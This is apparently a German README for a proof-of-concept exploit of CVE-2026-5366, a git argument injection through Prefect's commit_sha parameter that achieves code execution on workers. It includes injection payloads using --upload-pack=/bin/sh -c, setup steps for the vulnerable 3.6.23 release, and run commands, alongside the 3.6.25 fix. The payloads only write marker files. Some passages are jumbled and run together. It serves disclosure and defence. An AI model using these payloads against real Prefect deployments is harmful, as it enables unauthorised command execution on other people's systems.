
PoC für CVE-2026-5366: git-Argument-Injection in Prefects GitRepository führt zu RCE auf dem Worker.
commit_sha führt (plus Argumentinjektion über directories)src/prefect/runner/storage.pyDies ist ein Proof of Concept für eine bereits offengelegte und gepatchte Sicherheitslücke (behoben in Prefect 3.6.25), veröffentlicht zu Bildungs- und Abwehrzwecken. Führen Sie es nur gegen Software und Systeme aus, die Ihnen gehören oder für die Sie autorisiert sind, Tests durchzuführen. Wenn Sie Prefect ausführen, aktualisieren Sie auf 3.6.25 oder höher.
| Datei | Zweck |
|---|---|
poc.py | Führt beide Injektionsvektoren gegen eine verwundbare Installation aus und meldet, welcher eine Codeausführung ermöglicht. |
run_offline.sh | Netzwerkfreier Ausführender: Erstellt ein lokales file://-Repository und steuert poc.py dagegen (die zuverlässige Methode, um die RCE in Aktion zu sehen). |
In src/prefect/runner/storage.py:
# Zeile 174
if branch and commit_sha:
raise ValueError(...)
# Zeile 181
self._commit_sha = commit_sha # keinerlei Validierung
...
self._directories = directories
Injektionspunkte (3.6.23 Zeilennummern):
commit_sha:
pull_code() ~379: ["git", "fetch", "origin", self._commit_sha]pull_code() ~391: ["git", "checkout", self._commit_sha]_clone_repo() ~475: ["git", "fetch", "origin", self._commit_sha]_clone_repo() ~480: ["git", "checkout", self._commit_sha]directories:
pull_code() ~360: ["git", "sparse-checkout", "set", *self._directories]_clone_repo() ~489:
(kein -Trenner)Auf dem commit_sha-Pfad wird --upload-pack=<programm> von git fetch/git checkout als das Packprogramm interpretiert, das für die Verbindung ausgeführt werden soll, sodass das Programm lokal auf dem Worker-Rechner ausgeführt wird. Dies ist Ende-zu-Ende verifiziert (siehe „Verifizierte Ergebnisse“ unten).
Der directories-Pfad ist eine echte Argumentinjektion, aber kein RCE-Vektor über --upload-pack: git sparse-checkout set ist ein lokaler Befehl ohne --upload-pack-Option, daher wird die Payload als unbekanntes Flag abgelehnt. Diese Asymmetrie spiegelt sich im Upstream-Fix wider: commit_sha wird hart abgelehnt, während ein ---führender directories-Eintrag nur eine Warnung auslöst.
Der Kern ist ein Git-Argument-Injection-Trick auf dem commit_sha-Vektor.
Keine Validierung. In 3.6.23 wird der commit_sha-Wortlaut unverändert gespeichert (storage.py:181), ohne andere Prüfungen als die gegenseitige Exklusivität von branch/commit_sha. Jede Zeichenkette wird akzeptiert.
Es landet in einer Git-Argumentposition. Wenn Prefect Code abruft (pull_code() dann _clone_repo()), wird der Wert in eine Git-Argumentliste gesetzt:
["git", "fetch", "origin", self._commit_sha] # storage.py:475
["git", "checkout", self._commit_sha] # storage.py:480
Dies ist eine Argumentliste (keine Shell), daher gibt es keine Shell-Injektion. Der Fehler besteht darin, dass kein ---Trenner vor dem vom Angreifer kontrollierten Wert steht.
--upload-pack wird als Option und nicht als Argument geparst. Git behandelt alles, was mit - beginnt, als Option, es sei denn, ein ---Trenner steht davor. Die Payload:--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'
verwandelt den Befehl in:
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'
--upload-pack=<programm> ist eine legitime Option von git fetch/clone/ls-remote: Sie benennt das Programm, das Git zur Bereitstellung von Packs ausführt. Wenn der Remote-Pfad lokal (file://) ist oder über SSH/lokales Transportmittel erreicht wird, führt Git dieses Programm auf dem lokalen Rechner aus.
/bin/sh -c '...' anstelle des echten git-upload-pack-Helpers, sodass der Befehl des Angreifers auf dem Prefect-Worker ausgeführt wird. Git schlägt dann fehl (sh spricht kein Git-Protokoll), aber der Nebeneffekt (Codeausführung) ist bereits eingetreten, weshalb der PoC die resultierende Ausnahme ignoriert und nur nach der Markierungsdatei sucht.Warum die Vorab-Bereinigung wichtig ist. Wenn das Ziel bereits ein .git hat, wählt Prefect den Pfad „Vorhandenes Repository aktualisieren“. Das Löschen erzwingt den vollständigen _clone_repo()-Pfad, der die direktesten Aufrufe von fetch origin <value> + checkout <value> enthält, die besten Injektionsstellen.
Warum directories keine RCE ermöglicht. Dieser Wert landet in git sparse-checkout set <value>, einem lokalen Befehl ohne --upload-pack-Option, daher lehnt Git die Payload als unbekanntes Flag ab. Es handelt sich dennoch um eine echte Argumentinjektion, aber nicht um einen RCE-Vektor mit dieser Payload.
Der Fix (3.6.25). commit_sha muss ^[0-9a-fA-F]{4,64}$ entsprechen, sodass eine --upload-pack=...-Payload bereits bei der Konstruktion mit ValueError: Ungültiger Commit-SHA abgelehnt wird. Für directories fügt der Fix den ---Trenner im Git-Befehl hinzu (Werte können nicht mehr als Optionen gelesen werden) sowie eine Warnung.
prefect==3.6.23GitRepository(..., commit_sha=..., directories=...).pull_code() auscommit_sha bereits bei der Konstruktion von GitRepository(...) abgelehnt wirdpython -m venv .venv-vuln
source .venv-vuln/bin/activate
pip install "prefect==3.6.23"
Oder aus dem Quellcode beim exakten verwundbaren Tag:
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .
Die zuverlässige, eigenständige Methode (erstellt ein lokales file://-Repository und führt beide Vektoren aus):
./run_offline.sh
# oder Pin auf einen bestimmten Interpreter:
PYTHON=.venv-vuln/bin/python ./run_offline.sh
Sie können poc.py auch direkt steuern:
python poc.py # Standard-HTTPS-Ziel
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py # lokales Repository
Wichtig: Git berücksichtigt --upload-pack nur bei lokalen und SSH-Transporten. Gegen das Standard-HTTPS-Remote ist die Payload inert, daher meldet python poc.py selbst auf verwundbarem 3.6.23 keinen Marker. Verwenden Sie run_offline.sh (oder ein file:// / SSH POC_TARGET_REPO), um die RCE tatsächlich ausgelöst zu sehen.
Das Skript führt vor jedem Vektor eine aggressive Bereinigung durch (force_clean_destination), sodass es zuverlässig den Klonpfad (_clone_repo) trifft, der folgende Schritte ausführt:
git clone ... --no-checkout
git fetch origin <MALICIOUS_PAYLOAD>
git checkout <MALICIOUS_PAYLOAD>
commit_sha:
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"
directories:
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]
Diese treffen die rohen Argumentpositionen in fetch / checkout und sparse-checkout set.
Ende-zu-Ende reproduziert, vollständig offline (lokales file://-Bare-Repository via run_offline.sh), auf Python 3.12:
Beobachteter Inhalt der Markierungsdatei beim verwundbaren Lauf:
EXPLOITED via commit_sha <datum>
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*
Auf einer gepatchten Installation kann das bösartige Objekt nicht konstruiert werden, bevor irgendein Git läuft:
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Ungültiger Commit-SHA ...
Ein ---führender directories-Eintrag löst nur eine Warnung aus (der eigentliche Schutz ist der zum Git-Befehl hinzugefügte ---Trenner).
3.6.236a9d9918716ce4ee0297b69f3046f7067ef1faae21b2838054c7231cee8cbe196fdadc67ee6c1c6dVerwenden Sie es verantwortungsbewusst (klar !!! :PpPPpp) und nur auf Systemen, die Sie kontrollieren :-)
["git", "sparse-checkout", "set", *self._directories]--| Version | commit_sha | directories |
|---|
| 3.6.23 (verwundbar) | RCE erreicht: Markierungsdatei während git fetch origin <payload> geschrieben | kein Marker: sparse-checkout set lehnt das --upload-pack-Flag ab |
| 3.6.25 (gepatcht) | neutralisiert: ValueError: Ungültiger Commit-SHA ... bei der Konstruktion von GitRepository(...) | kein Marker: ---Trenner + Warnung |